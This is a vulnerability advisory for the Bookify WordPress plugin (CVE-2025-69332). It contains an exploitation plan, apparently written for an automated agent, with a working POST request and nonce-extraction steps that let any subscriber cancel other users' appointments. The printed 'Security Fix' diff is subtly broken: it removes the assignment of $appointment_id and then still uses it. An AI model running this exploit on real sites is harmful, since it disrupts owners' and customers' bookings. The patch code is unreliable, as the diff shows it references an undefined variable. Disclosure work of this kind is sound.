Bookify – Appointment Booking & Scheduling for WordPress <= 1.1.1 - Missing Authorization
Description
The Bookify – Appointment Booking & Scheduling for WordPress plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.1.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.1.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-69332 (Bookify Missing Authorization) ## 1. Vulnerability Summary The **Bookify – Appointment Booking & Scheduling for WordPress** plugin (<= 1.1.1) is vulnerable to **Missing Authorization** within its REST API implementation. The endpoint `/wp-json/bookify/f…
Show full research plan
Exploitation Research Plan: CVE-2025-69332 (Bookify Missing Authorization)
1. Vulnerability Summary
The Bookify – Appointment Booking & Scheduling for WordPress plugin (<= 1.1.1) is vulnerable to Missing Authorization within its REST API implementation. The endpoint /wp-json/bookify/frontend/v1/appointment-status allows users to change the status of an appointment. While the plugin verifies a WordPress REST nonce, it fails to perform any capability checks or ownership validation. This allows any authenticated user (with Subscriber-level access) to cancel appointments belonging to any other user or staff member by simply providing the target appointment_id.
2. Attack Vector Analysis
- Endpoint:
POST /wp-json/bookify/frontend/v1/appointment-status - Authentication: Required (Subscriber or above).
- Nonce Requirement: Yes, the standard WordPress REST nonce (
wp_restaction) must be provided in theX-WP-Nonceheader. - Payload Parameter:
appointment_id(sent in a JSON-encoded body). - Vulnerable Component:
Bookify\Controllers\REST\Bookify_Frontend_Rest_API::appointment_status_change
3. Code Flow
- Route Registration: In
Controllers/REST/Bookify_Frontend_Rest_API.php, the route/appointment-statusis registered withnonce_authenticationas thepermission_callback.register_rest_route('bookify/frontend/v1', '/appointment-status', array( 'methods' => 'POST', 'callback' => array( $this, 'appointment_status_change' ), 'permission_callback' => array( $this, 'nonce_authentication' ) )); - Weak Permission Check: The
nonce_authenticationfunction only checks for the existence of theX-WP-Nonceheader, not its validity or the user's capabilities.public function nonce_authentication( $request ) { $nonce = $request->get_header('X-WP-Nonce'); if ( !$nonce ) { return new WP_Error(...); } return true; } - Missing Ownership Check in Callback: The
appointment_status_changecallback verifies the nonce against the'wp_rest'action (which passes for any logged-in user). It then proceeds to update the status of the providedappointment_idto 'Cancelled' without checking if the current user owns that appointment.public function appointment_status_change( $request ) { $nonce = $request->get_header('X-WP-Nonce'); if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) { return new WP_Error( 'rest_forbidden', ... ); } $params = $request->get_json_params(); $appointment_id = $params['appointment_id']; $data = array('appointment_status' => 'Cancelled'); $result = Bookify_Appointment_Models::bookify_update_appointment( $appointment_id, $data ); // ... }
4. Nonce Acquisition Strategy
The plugin utilizes the standard WordPress REST API nonce. This nonce is localized for the frontend scripts used in shortcodes.
- Identify Shortcode: The shortcode
[bookify_appointments]triggers the registration of thebookify-appointments-script. - Create Extraction Page: Create a public page containing the shortcode:
wp post create --post_type=page --post_title="Appointments" --post_status=publish --post_content='[bookify_appointments]' - Extract via Browser:
- Log in as a Subscriber user.
- Navigate to the newly created page.
- Use
browser_evalto extract the nonce from the localized objectwpbAptApp:browser_eval("window.wpbAptApp?.nonce")
5. Exploitation Strategy
Step-by-Step Plan
- Setup Victim Data: As an Admin, create a dummy appointment to obtain a valid
appointment_id(e.g., ID 1). - Authentication: Authenticate as a Subscriber user.
- Nonce Retrieval: Navigate to the page with
[bookify_appointments]and extract thewp_restnonce. - Execute Cancellation: Send an unprivileged POST request to cancel the Admin's appointment.
Exploit Request (using http_request)
{
"method": "POST",
"url": "/wp-json/bookify/frontend/v1/appointment-status",
"headers": {
"Content-Type": "application/json",
"X-WP-Nonce": "EXTRACTED_NONCE_HERE"
},
"body": "{\"appointment_id\": \"1\"}"
}
6. Test Data Setup
- Plugin Configuration: Ensure the plugin is active and its database tables are created.
- Victim Appointment: Use WP-CLI to insert a dummy appointment into the
{$wpdb->prefix}bookify_appointmentstable (or use the plugin UI as Admin). - Attacker User: Create a user with the
subscriberrole. - Shortcode Page: Create a page with
[bookify_appointments]at/appointments-page/.
7. Expected Results
- The REST API should return a JSON response:
{"success": true, "message": "Appointment has been cancelled!"} - Even if the appointment belonged to a different user, the status will be changed.
8. Verification Steps
Check the database state using WP-CLI to confirm the status change:
wp db query "SELECT appointment_status FROM wp_bookify_appointments WHERE appointment_id = 1"
Expected Output:
appointment_status
Cancelled
9. Alternative Approaches
If /appointment-status is patched or restricted, examine other routes in Bookify_Frontend_Rest_API.php that use nonce_authentication, such as /get-appointments (if it leaked more data than intended) or /add-appointment (if it allowed spoofing the customer_id or staff_id). However, /appointment-status provides the most direct evidence of missing authorization for a state-changing action.
Summary
The Bookify plugin for WordPress is vulnerable to unauthorized appointment cancellation due to missing capability and ownership checks on the `/appointment-status` REST API endpoint. Authenticated users, such as Subscribers, can exploit this to cancel any appointment in the system by providing a target appointment ID and a valid WordPress REST nonce.
Vulnerable Code
// Controllers/REST/Bookify_Frontend_Rest_API.php:55 register_rest_route('bookify/frontend/v1', '/appointment-status', array( 'methods' => 'POST', 'callback' => array( $this, 'appointment_status_change' ), 'permission_callback' => array( $this, 'nonce_authentication' ) )); --- // Controllers/REST/Bookify_Frontend_Rest_API.php:70 public function nonce_authentication( $request ) { $nonce = $request->get_header('X-WP-Nonce'); if ( !$nonce ) { return new WP_Error( 'rest_missing_nonce', __('You do not have permission to access this resource. Please contact the administrator if you believe this is an error.', 'bookify'), array( 'status' => 403, 'message' => 'Nonce is missing.' ) ); } return true; } --- // Controllers/REST/Bookify_Frontend_Rest_API.php:115 public function appointment_status_change( $request ) { $nonce = $request->get_header('X-WP-Nonce'); if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) { return new WP_Error( 'rest_forbidden', __('Invalid nonce.', 'bookify'), array( 'status' => 403 ) ); } $params = $request->get_json_params(); $appointment_id = isset( $params['appointment_id'] ) && ! empty( $params['appointment_id'] ) ? sanitize_text_field( $params['appointment_id'] ) : ''; if ( ! $appointment_id ) { return new WP_REST_Response(array( 'success' => false, 'message' => 'No appointment id is selected for cancellation!', ), 200); }; $data = array( 'appointment_status' => 'Cancelled' ); $result = Bookify_Appointment_Models::bookify_update_appointment( $appointment_id, $data );
Security Fix
@@ -115,14 +115,25 @@ public function appointment_status_change( $request ) { $nonce = $request->get_header('X-WP-Nonce'); - if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) { + if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) || ! is_user_logged_in() ) { return new WP_Error( 'rest_forbidden', __('Invalid nonce.', 'bookify'), array( 'status' => 403 ) ); } $params = $request->get_json_params(); - $appointment_id = isset( $params['appointment_id'] ) && ! empty( $params['appointment_id'] ) ? sanitize_text_field( $params['appointment_id'] ) : ''; + // Add authorization check + if ( ! current_user_can( 'manage_options' ) ) { + $user = wp_get_current_user(); + $appointment = Bookify_Appointment_Models::bookify_get_appointment_by_id( $appointment_id ); + if ( ! $appointment || $appointment['customer_id'] != $user->ID ) { + return new WP_Error( 'rest_forbidden', __( 'You do not have permission to cancel this appointment.', 'bookify' ), array( 'status' => 403 ) ); + } + } + if ( ! $appointment_id ) { return new WP_REST_Response(array( 'success' => false,
Exploit Outline
The exploit targets the `/wp-json/bookify/frontend/v1/appointment-status` REST API endpoint. 1. Authentication: The attacker must be logged in as any user (e.g., Subscriber role). 2. Nonce Acquisition: The attacker visits a page containing the `[bookify_appointments]` shortcode. This shortcode localizes a WordPress REST nonce (action `wp_rest`) into the global JavaScript object `wpbAptApp.nonce`. 3. Request: The attacker sends a POST request to the vulnerable endpoint. - Endpoint: `POST /wp-json/bookify/frontend/v1/appointment-status` - Header: `X-WP-Nonce: [EXTRACTED_NONCE]` - Body (JSON): `{"appointment_id": "[TARGET_ID]"}` 4. Outcome: Because the plugin only verifies the presence and validity of the general REST nonce but does not check if the current user owns the appointment or has administrative permissions, the appointment with `TARGET_ID` is updated to a 'Cancelled' status in the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.